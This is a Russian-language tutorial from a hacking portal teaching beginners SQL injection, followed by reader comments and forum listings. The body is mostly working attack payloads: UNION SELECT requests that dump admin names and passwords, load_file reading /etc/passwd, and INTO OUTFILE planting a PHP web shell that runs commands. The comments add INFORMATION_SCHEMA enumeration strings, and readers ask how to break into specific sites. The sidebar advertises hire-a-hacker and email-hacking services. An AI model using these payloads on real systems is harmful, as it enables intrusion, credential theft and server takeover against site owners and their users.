Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - Sql-injection для самых маленьких
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Поиск ТОП Добавить публикацию

Sql-injection для самых маленьких

18.03.2007

Сегодня я вам расскажу об одной известной уязвимости SQL-injection. Я понимаю, что подобных статей написано уже много, но у новичков всё равно возникает множество вопросов. Итак, приступим.
Для начала немного разберёмся с языком SQL .
1. SELECT – команда для вывода информации из БД. Например:
SELECT name, password, email FROM users;
Этот запрос извлекает из таблицы users данные из полей name и password. Команда FROM, после которой через пробел идёт имя таблицы, указывает из какой таблицы будут извлекаться данные.
2. UNION – команда для объединения нескольких запросов в один. Например: SELECT name FROM admin UNION SELECT name, password FROM users;. (Данная команда работает только в MySQL 4.0 и выше, в более ранних версиях данная команда отсутствует.)
3. INSERT – команда для добавления данных в БД. Например:
INSERT INTO users (name, password, email) VALUE (‘hacker’, ‘qwerty’, ‘hacker@hack.ru’);.
Слово INTO, после которого идёт название таблицы, указывает в какую таблицу должна производится запись. VALUE – значение полей.
4. DROP - команда для удаления данных из БД. Например:
DROP TABLE users;
где users имя таблицы.
5. UPDATE – команда для изменения данных в таблице. Например у нас в таблице users есть пользователь с именем admin, нам нужно сменить его пароль, значит вводим следующее:
UPDATE users SET password = ‘qwerty’ WHERE name = admin;
6. CREATE TABLE – команда для создания таблицы в БД. Например:
CREAT TABLE users (name char (15), password char (10));
Данная команда создаст таблицу users, с полями name и password. Char – тип данных, числа в скобках максимальная длинна значения поля.

Ну вот с языком SQL мы немного разобрались, теперь приступим к SQL-injection. Данная уязвимость позволяет посылать запросы в БД из адресной строки браузера. Есть несколько способов проверить является ли сайт уязвимым. Например, у нас есть адрес:
www.lamer.org/index.php?id=1
В конце подставляем кавычку. Тогда ссылка примет следующий вид:
www.lamer.org/index.php?id=1’
Должна появится ошибка, но если она не появилось это ещё не значит, что сайт не уязвим. Попробуем следующий вариант.
www.lamer.org/index.php?id=2-1.
Если арифметическое выражение выполнилось и мы увидели те же данный что и при www.lamer.org/index.php?id=1 то значит скрипт не отфильтровал выражение, а выполнил его, это значит, что уязвимость скорей всего присутствует.
Допустим, мы определили, что сайт уязвим. Первым делом нам нужно подобрать количество полей. Это делается для того, что бы узнать значение какого поля отображается на экране.
www.lamer.org/index.php?id=1+union+select+1,2,3,4,5,6/*
(/* - это знак комментария, все что будет идти поле него, будет считаться комментарием)
Предположим у нас отобразилась цифра 4, значит отображалось значение четвёртого поля.
Количество полей можно перебрать и другим способом при помощи оператора order by. Например: www.lamer.org/index.php?id=1+order+by+2/*
Если не появилась ошибка – используется полей больше чем 2 (или равное 2).
www.lamer.org/index.php?id=1+order+by+6/*
Если появилась ошибка – это значит, что полей в запросе меньше 6.
Продолжаем дальше. Вводим следующий запрос:
www.lamer.org/index.php?id=1+order+by+3/*
Если ошибка не появилась то полей больше чем 3 (или равное 3).
www.lamer.org/index.php?id=1+order+by+5/*
Если появилась ошибка значит полей меньше пяти.
www.lamer.org/index.php?id=1+order+by+4/*
Если ошибка не появилась - это значит, что количество полей равно 4.
Итак, продолжим. Теперь начинаем выполнять команды.
www.lamer.org/index.php?id=1+union+select+1,2,3,version(),5,6/*
Должна отобразится версия SQL. Например 4.0
Узнаём имя пользователя БД:
www.lamer.org/index.php?id=1+union+select+1,2,user(),5,6/*
Так мы получим имя пользователя БД. Например lamer@localhost
Получаем имя БД
www.lamer.org/index.php?id=1+union+select+1,2,database(),5,6/*
Таким образом мы узнали имя БД. Например: lamers
Сейчас нам надо узнать в какой таблице хранятся данные пользователей.
www.lamer.org/index.php?id=1+union+select+1,2,name,5,6+from+users+limit+1,1/*
Если имя таблицы указали правильно, в нашем случае – это users, то должно отобразится имя первого пользователя. Например: admin.

Теперь нам нужно узнать пароль данного пользователя.
www.lamer.org/index.php?id=1+union+select+1,2,password,5,6+from+users+limit+1,1/*
Должен отобразится пароль пользователя admin. Например mego_lamer.
Теперь осталось только найти админку и залогинется под пользователем admin.
Так же есть возможность через SQL-injection есть возможность читать файлы на сервере. Для этого выполняем следующее:
www.lamer.org/index.php?id=1+union+select+1,2,3,load_file(/etc/passwd),5,6/*
Таким образом мы открыли файл passwd в каталоге /etc.


Заливаем Web Shell через SQL-injection.

Предположим мы зашли в админку, но так и не нашли с помощь чего нам можно залить шелл. Но есть поле для вводя запросов в БД. Отчаиваться не будем, сейчас мы зальём шелл через SQL.
Например у нас есть таблица articles в ней поле computers. Выполним следующую команду:
INSERT INTO articles (computers) value (‘’);
Обратите внимание, что cmd заключено в одинарные кавычки и выглядит так ‘’cmd’’ хотя в php должно быть так ‘cmd’. Всё потому, что если мы оставим так, как и в php коде, то SQL выдаст ошибку.
Так мы добавили в таблицу articles в поле computers новую запись. Теперь с помощью команды
select computers from articles into outfile '/home/lamer/www/shell.php';
мы сохраняем значение поля computers в файл shell.php. /home/lamer/www – путь к веб директории.(он может быть другим).
Теперь переходим по адресу www.lamer.org/shell.php?cmd=ls –la
Если команда ls –la выполнилась успешно, то мы увидим содержимое веб директории.

Автор: FraiDex






При копировании материалов ссылка на HackZone.RU обязательна

Добавить страницу в закладки

 Детали
Категория: Взлом
Опубликовал: FraiDex
Просмотров: 48928
Проголосовало через SMS: 0
  Разместить у себя на сайте
Прямая ссылка
HTML
BBCode ссылка
BBCode ссылка с текстом

 Комментарии (оставить свой комментарий можно здесь)
Ну щас такое не на всех скулах прокатит...Так что надо было написать про AES_Decrypt...Еще пару примочек...Будет время напишу, а пока меня занимает учеба...
21.10.2007 / Engel
news.php?type=company&page=&in=1\' в ответ на эту строчку сервер ругаеться так :
 
Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "1\'" in /home/u6978/avantsb.ru/www/library/db.php on line 18
 
Warning: pg_result(): supplied argument is not a valid PostgreSQL result resource in /home/u6978/avantsb.ru/www/library/db.php on line 36
 
Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "1\'" in /home/u6978/avantsb.ru/www/library/db.php on line 18
 
Warning: pg_fetch_array(): supplied argument is not a valid PostgreSQL result resource in /home/u6978/avantsb.ru/www/library/db.php on line 22
 
И дальше всё что ты пишешь не работает(((
23.10.2008 / mr.yumor
Ты посмотри внимательно на ошибку. Там используется PostgreSQL, а для неё уже идёт другой синтаксис. Поройся в гугле по сабжу SQL injection в PostgreSQL. Удачи!
24.10.2008 / FraiDex
Вроде все понятно до моента:
 
... Сейчас нам надо узнать в какой таблице хранятся данные пользователей.
www.lamer.org/index.php?id=1+union+select+1,2,name,5,6+from+users+limit+1,1/*
Если имя таблицы указали правильно, в нашем случае – это users, то должно отобразится имя первого пользователя.
 
Вот тут не понятно, как узнать имя таблицы? Если в вашем случаем это "users"!
21.11.2008 / adminus
ну самый обычный вариант - тупым перебором, в большей части случаев он и применяется. Есть специальные скрипты, с помощью которых можно организовать перебор автоматически. В 5-ой версии MySQL появилась такая фишка, одна интересная таблица в которой хранятся имена таблиц и столбцов она называется INFORMATION_SCHEMA (INFORMATION_SCHEMA.TABLES - таблицы. INFORMATION_SCHEMA.COLUMNS - столбцы). Если есть доступ к ней, можно узнать названия столбцов и полей таким методом:
www.lamer.org/index.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1 --
Так мы узнали название первой таблицы.
www.lamer.org/index.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 2,1 -- - так второй.
Предположим мы нашли таблицу 'Users'
Теперь узнаём номера столбцов:
www.lamer.org/index.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 1,1 --
 
www.lamer.org/index.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 2,1 --
и т.д.
 
удачи.
21.11.2008 / FraiDex
FraiDex, спасибо за ответ!
 
По ходу деяний появился еще один вопрос про нахождение самой уязвимость.
Подскажите если возможно!
Например:
есть /index.php?id=1, теперь дописываем в переменную "id" ковычку, /news.php?id=1' - отображается все как и /index.php?id=1, ошибок нет, но предположим, что вывод ошибок отключен.
Далее идем: добавляем index.php?id= 1'; -- , без изменений, страница отображается как и /index.php?id=1.
Так же страница /index.php?id=1-2 /отображается как и /index.php?id=1
Хорошо, допустим уязвимость присутствует.
Далее подбираю количество полей через ORDER BY, /index.php?id=1' ORDER BY 10 --
и тут страница ведет себя так же, отображается без изменений, как и /index.php?id=1 (при этом кое бы я число не подставил, все так же отображается "гладко").
Подскажите, в данном случает все манипуляции с подстановкой в переменную ковычек, знаков комментария и так далее является пустым делом, то есть мы убедились, что уязвимости нет? или все же она есть? или она все же есть но ее можно посмотреть другими способами?
 
Заранее благодарю!
23.11.2008 / adminus
Бесполезно. Баг прикрыт. Скорей всего фильтруются спецсимволы.
23.11.2008 / FraiDex
Попробкй перед переменной минус поставить
18.05.2009 / ^_^
А если ссылка имеет такую форму, то сайт хакнуть можно?:
http://ххххххххххххх.ru/ххххх/index.php
или (тот же сайт):
http://хххххххххх.ру/ххххххххх/memberlist.php?mode=viewprofile&u=1491
Делаю все как написано, но постоянно выводит сообщеие:"Запрашиваемый юзер не найден".
14.05.2011 / KTIM
Делаю, все как написано, но выводится сообщение:Expected numeric input instead of '+union+select+1,2,user(),5,6'
Ссылки имеют вид:http://forum.xxxxxxxxxx.com/showforum.php?fid/81/
14.05.2011 / KTIM
Только зарегистрированные пользователи могут оставлять комментарии

Зарегистрироваться *** Авторизоваться


 Последние новости и статьи  Последние сообщения с форумов
  • WhatsApp уверяет пользователей, что Facebook не имеет доступа к и...
  • Однострочная команда в Windows 10 может повредить жесткий диск с ...
  • Кардерский форум Joker’s Stash объявил о закрытии
  • Релиз ядра Linux 5.9
  • Российские хакеры вооружились уязвимостью Zerologon
  • Тысячи приватных звонков американских заключенных оказались в отк...
  • Шифровальщик атаковал немецкую компанию Software AG
  • Злоумышленники используют службу Windows Error Reporting для бесф...
  • Microsoft предупредила о вымогателях, которые выдают себя за МВД ...
  • Инфостилер Valak ворует информацию из почтовых систем Microsoft E...

    Все новости... Все статьи... Прислать новость RSS
  • Взлом и безопасность / Программы » Услуги Хакера @ Заказать взлом @ Нужен хакер@Alex89618506139
  • Взлом и безопасность / ICQ,AIM,YAHOO,QIP » Услуги Хакера @ Заказать взлом @ Нужен хакер@Alex89618506139
  • Взлом и безопасность / Разное » Re: Помощь в скачивании платного файла
  • Взлом и безопасность / Разное » Помощь в скачивании платного файла
  • Разное / Куплю, приму в дар » куплю | ваш аккаунта | получение нового | описание внутри
  • Разное / Предложения работы » Специалиста
  • Downloads / Другое » Re: Нужна база емайл адресов юр. лиц
  • Downloads / Другое » Нужна база емайл адресов юр. лиц
  • Разное / Предложения работы » Нужен взлом mail и gmail почты
  • Взлом и безопасность / Разное » Re: Нужна помощь в скачивании файла

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}